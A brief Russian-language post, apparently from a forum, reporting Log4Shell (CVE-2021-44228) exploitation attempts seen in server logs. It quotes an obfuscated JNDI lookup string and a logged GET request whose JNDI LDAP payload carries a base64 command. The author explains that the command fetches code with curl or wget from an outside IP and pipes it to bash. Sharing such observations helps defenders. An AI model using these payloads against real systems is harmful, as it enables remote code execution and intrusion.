"${jndi:${lower:l}${lower:d}a${lower:p}://world443.log4j.bin${upper:a}ryedge.io:80/callback}"
Началось аккурат 10 декабря после широкой публикации CVE-2021-44228 :)
Есть секурити-сканнеры, а есть и некие ip-одиночки:
"GET /?x=${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNjIuMjQzLjUzLjEwODo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xNjIuMjQzLjUzLjEwODo4MCl8YmFzaA==}"
Желающие могут расшифровать base64 :)
там curl + wget и результат в bash exec
ps:
https://xkcd.com/2347/